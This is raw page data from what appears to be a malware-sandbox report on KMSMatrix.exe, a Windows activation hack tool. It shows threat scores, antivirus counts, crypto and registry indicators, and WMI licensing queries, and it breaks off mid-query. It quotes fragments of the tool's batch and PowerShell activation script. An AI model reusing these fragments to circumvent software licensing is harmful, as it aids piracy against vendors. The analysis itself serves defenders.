34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 89:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T533,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious MSIL/HackKMS_AGeneric.P potentially unsafe application Sample a25083ef4328… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a25083ef4328…. Malware family: MSIL/HackKMS_AGeneric.P potentially unsafe application. Threat score 100/100. 9/25 AV engines flagged this file. 15 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5","keywords":["Malicious","MSIL/HackKMS_AGeneric.P potentially unsafe application","malware analysis","sandbox report","threat intelligence","a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5"],"about":{"@type":"SoftwareApplication","name":"KMSMatrix.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"MSIL/HackKMS_AGeneric.P potentially unsafe application","antivirusDetections":{"malicious":9,"total":25},"behavioralIndicators":{"malicious":15,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T740,file/memory contains long string with (Indicator: "ConvertFrom-Json"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "ConvertTo-Json"; File: "KMSMatrix.exe") Found string "} | ConvertTo-Json" (Indicator: "ConvertTo-Json"; File: "m_srv.cmd") Found string "$license = (Get-Content -Encoding Unicode $_.FullName | ConvertFrom-Json).License" (Indicator: "ConvertFrom-Json"; File: "m_srv.cmd") Found string "$decodedLicense = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($license)) | ConvertFrom-Json" (Indicator: "ConvertFrom-Json"; File: "m_srv.cmd") Found string "} | ConvertTo-Json" (Indicator: "ConvertTo-Json"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$license = (Get-Content -Encoding Unicode $_.FullName | ConvertFrom-Json).License" (Indicator: "ConvertFrom-Json"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$decodedLicense = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($license)) | ConvertFrom-Json" (Indicator: "ConvertFrom-Json"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp")37:T278f,Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00002616-00000BC0-39142606") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp")38:T4e9,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains reference to cryptographic keys Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains CRYPTO related strings Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: YARA signature match - AES Encryption Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Found encryption key used by malware in binary39:T13c6,"KMSMatrix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000ab01049a8b2f00000800000000000000ffffffffffffffff3400000000000000f6058c92f97f000028ea953999000000db04caaaf97f000000000000f97f00002a96ffa7f97f0000000000000000000009000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000090ea9539990000000800000000000000000000000000000000000000000000003bf4049a8b2f0000c3f0c8aaf97f00000000c1aaf97f0000a713c9aaf97f0000e8ea9539 (UID: 00000000-00002616) "KMSMatrix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002616) "KMSMatrix.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002616) "KMSMatrix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac82a9f97f0000000000000000000051edccaaf97f000000000000ea010000000000000000000064aa105d860800002a00000000000000105ea478ea0100008fecccaaf97f0000e0ac82a9f97f0000e0ac82a9f97f0000000000000000000000000000ea010000ffffff7f25ee000000000000000000000000000000000000d8ce76a9f97f00002a0000000000000069c32fa9f97f000031000000000000000c03000000000000ac02000000000000110001100000000040bc95399900000003a3d278ea01000040bc95399900000000000000000000002b00000000000000000000000000000020b035a9f97f0000b43f34a9f97f0000e0ce76a9 (UID: 00000000-00002616) "KMSMatrix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e000c8aaf97f0000000000000000000000000000000000000000000000000000000032a8f97f00001ec49187f97f000050139187f97f000018443ba8f97f000028313ba8f97f0000fca23ba8f97f000000008987f97f000000000000f97f0000f8008987f97f0000050005000000000086673ba8f97f00000000000000000000deb1cbaaf97f000001000000ea0100000000000000000000703da778ea010000c8de953999000000d4c9105d8608000051a7cbaaf97f00000500000000000000f8008987f97f00000100000000000000000000000000000010df9539990000001033d9aaf97f000064e395399900000079649087f97f000000020000 (UID: 00000000-00002616) "KMSMatrix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000070d295399900000000000000000000000000000000000000a8d19539990000000000000000000000000000000000000070fbb8a3f97f00000900000009000000000000000000000019558f8cf97f00000000000000000000180000009900000018d39539990000002000577aea01000010d3953999000000e0d2953999000000871d8c92f97f00000800000000000000a92ed685f97f0000f0d19539990000003005e184f97f00000000000000000000000000000000000000000000000000000100000000000000010000000000000010d3953999000000e0d295399900000028d3953999000000f4c1105d860800009bcf049a8b2f00000000577a (UID: 00000000-00002616) "KMSMatrix.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00002616) "KMSMatrix.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002616)3a:Teb2,"KMSMatrix.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000006f00d0ad9c78ea0100000100000003000000010000006600740018000000650074000000000000000000000000000000000001000000360034000100000034002e0000000000000000000000000039005c0063006f0000000000000000000000000000000000010000002f00000000000000000000006600690067000000 (UID: 00000000-00002616) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e006300050000056c050000e0bf25a7 (UID: 00000000-00006552) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000000000000000000000000 (UID: 00000000-00001580) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000f8c0b4a7f97f000000003da2f97f00000000000000000000000000000000000008063ea2f97f00000001000000000000f0989fa8f97f000000010000000000000001000000000000000000000000000000063ea2f97f000001000000000000000f183da2f97f0000000000000000000000063ea2f97f000009000000 (UID: 00000000-00001580) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007460) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000100000000000000000000000000000099ddb0aaf97f0000000000000000000070ec0f1d3b00000080ec0f1d3b00000001000000000000000000000000000000020000000000000000000000000000000000034d880100000030020000000000000000000000000080ed0f1d3b000000da77d696f77f000020ed0f1d (UID: 00000000-00007460) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7bd0a7f97f000000003da2f97f00000000000000000000000000000000000008063ea2f97f00000001000000000000f0989fa8f97f000000010000000000000001000000000000000000000000000000063ea2f97f000001000000000000000f183da2f97f0000000000000000000000063ea2f97f000000000000 (UID: 00000000-00007460) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c313d95f97f0000708b3f95f97f00000200000000000000708b3f95f97f000000000000000000000300000000000000b1313d95f97f0000a8154095f97f0000c0c85c4b88010000d0c85c4b88010000888b3f95f97f00000100000000000000239fa1a8f97f00000000000000000000888b3f95f97f000006000000 (UID: 00000000-00007460) "cscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d8a94f97f0000c0fe8b94f97f00000400000000000000c0fe8b94f97f000000000000000000000500000000000000453d8a94f97f0000286a8c94f97f0000be5ad1a7f97f000058bf5c4b88010000b0058c94f97f0000b08ed1a7f97f0000239fa1a8f97f00000100000000000000d1328a94f97f00000000caa7 (UID: 00000000-00007460) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00005180)3b:T6da,"KMSMatrix.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "KMSMatrix.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "timeout.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")3c:T86a,file/memory contains long string with (Indicator: ""set "; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "set "; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: ""set "; File: "m_srv.cmd") Found string "set "_cmdf=%~f0"" (Indicator: "set "; File: "m_srv.cmd") Found string "set "PATH=%SystemRoot%\System32;%SystemRoot%\System32\wbem;%SystemRoot%\System32\WindowsPowerShell\v1.0\"" (Indicator: "set "; File: "m_srv.cmd") Found string "set "PATH=%SystemRoot%\Sysnative;%SystemRoot%\Sysnative\wbem;%SystemRoot%\Sysnative\WindowsPowerShell\v1.0\;%PATH%"" (Indicator: "set "; File: "m_srv.cmd") Found string "set _args=" (Indicator: "set "; File: "m_srv.cmd") Found string "set _elev=" (Indicator: "set "; File: "m_srv.cmd") Found string "set _MASunattended=" (Indicator: "set "; File: "m_srv.cmd") Found string "set _args=%*" (Indicator: "set "; File: "m_srv.cmd") Found string "set winbuild=1" (Indicator: "set "; File: "m_srv.cmd") Found string "set "nul=>nul 2>&1"" (Indicator: "set "; File: "m_srv.cmd") Found string "set psc=powershell.exe" (Indicator: "set "; File: "m_srv.cmd") Found string "set _NCS=1" (Indicator: "set "; File: "m_srv.cmd") Found string "set "nceline=echo: &echo ==== ERROR ==== &echo:"" (Indicator: "set "; File: "m_srv.cmd") Found string "set "eline=echo: &call :_color %Red% "==== ERROR ====" &echo:"" (Indicator: "set "; File: "m_srv.cmd") Found string "set "_work=%~dp0"" (Indicator: "set "; File: "m_srv.cmd") Found string "set "_batf=%~f0"" (Indicator: "set "; File: "m_srv.cmd") Found string "set "_batp=%_batf:'=''%"" (Indicator: "set "; File: "m_srv.cmd"), Found string "set _PSarg="""%~f0""" -el %_args%" (Indicator: "set "; File: "m_srv.cmd"), Found string "set "_ttemp=%temp%"" (Indicator: "set "; File: "m_srv.cmd"), Found string "set _desktop_=" (Indicator: "set "; File: "m_srv.cmd"), Found string "set "_pdesk=%_desktop_:'=''%"" (Indicator: "set "; File: "m_srv.cmd") Found string "set _erl=%errorlevel%" (Indicator: "set "; File: "m_srv.cmd") Found string "set "_dir=!_desktop_!\$OEM$\$$\Setup\Scripts"" (Indicator: "set "; File: "m_srv.cmd")3d:Taac,file/memory contains long string with (Indicator: "%processor_architecture%"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "%processor_architecture%"; File: "m_srv.cmd") Found string "if exist %SystemRoot%\SysArm32\cmd.exe if %PROCESSOR_ARCHITECTURE%==AMD64 if not defined r2 (" (Indicator: "%processor_architecture%"; File: "m_srv.cmd") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="amd64" set "xBit=x64"&set "xOS=x64"" (Indicator: "%processor_architecture%"; File: "m_srv.cmd") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="arm64" set "xBit=x86"&set "xOS=A64"" (Indicator: "%processor_architecture%"; File: "m_srv.cmd") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="x86" if "%PROCESSOR_ARCHITEW6432%"=="" set "xBit=x86"&set "xOS=x86"&set "_wow=0"&set "_bit=32"" (Indicator: "%processor_architecture%"; File: "m_srv.cmd") Found string "set "osB=%PROCESSOR_ARCHITECTURE%"" (Indicator: "%processor_architecture%"; File: "m_srv.cmd") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="x86" if "%PROCESSOR_ARCHITEW6432%"=="" set "_wow=0"&set "_bit=32"" (Indicator: "%processor_architecture%"; File: "m_srv.cmd") Found string "if exist %SystemRoot%\SysArm32\cmd.exe if %PROCESSOR_ARCHITECTURE%==AMD64 if not defined r2 (" (Indicator: "%processor_architecture%"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="amd64" set "xBit=x64"&set "xOS=x64"" (Indicator: "%processor_architecture%"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="arm64" set "xBit=x86"&set "xOS=A64"" (Indicator: "%processor_architecture%"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="x86" if "%PROCESSOR_ARCHITEW6432%"=="" set "xBit=x86"&set "xOS=x86"&set "_wow=0"&set "_bit=32"" (Indicator: "%processor_architecture%"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "set "osB=%PROCESSOR_ARCHITECTURE%"" (Indicator: "%processor_architecture%"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "if /i "%PROCESSOR_ARCHITECTURE%"=="x86" if "%PROCESSOR_ARCHITEW6432%"=="" set "_wow=0"&set "_bit=32"" (Indicator: "%processor_architecture%"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")3e:Tb46,"cscript.exe" issued a query "SELECT RemainingWindowsReArmCount, KeyManagementServiceListeningPort, KeyManagementServiceDnsPublishing, KeyManagementServiceLowPriority, ClientMachineId, KeyManagementServiceHostCaching, Version FROM SoftwareLicensingService" "cscript.exe" issued a query "SELECT ID, ApplicationId, PartialProductKey, LicenseIsAddon, Description, Name FROM SoftwareLicensingProduct" "cscript.exe" issued a query "$objects" "cscript.exe" issued a query "SELECT RemainingAppReArmCount, RemainingSkuReArmCount, ID, ApplicationId, PartialProductKey, 